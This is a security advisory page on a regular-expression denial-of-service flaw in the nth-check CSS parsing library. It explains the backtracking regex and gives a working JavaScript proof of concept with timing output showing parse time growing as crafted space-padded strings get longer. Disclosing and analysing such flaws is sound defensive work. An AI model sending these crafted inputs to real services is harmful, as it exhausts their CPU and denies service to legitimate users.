Inefficient Regular Expression Complexity in nth-check
The nth-check library contains a regular expression with overlapping quantified sub-patterns that causes excessive backtracking when parsing crafted invalid CSS nth-check strings. An attacker could supply such a string to cause a denial of service by consuming CPU time.
fb55/nth-check
Originally disclosed on huntr
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
From the GitHub Advisory Database (GHSA-rp65-9cf3-cjxr, CC BY 4.0).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the regular expression sub-pattern `\s*(?:([+-]?)\s*(\d+))?` has quantified overlapping adjacency, leading to catastrophic backtracking on invalid input.
Impact
An attacker could cause a denial of service by making the application spend excessive CPU time parsing a malicious nth-check string.
What the attacker needed
Ability to supply nth-check input
How it was found
- Create a string starting with '2n', followed by many spaces, and ending with '!'.
- Pass the string to nthCheck.parse().
- Observe that the time taken increases significantly as the string length grows.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A regular expression is a pattern used to match text. Some patterns can take a very long time to fail on certain inputs, which is called a regular expression denial of service (ReDoS). Here, a specially crafted string makes the library's pattern work very hard, slowing down or stopping the program that uses it.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.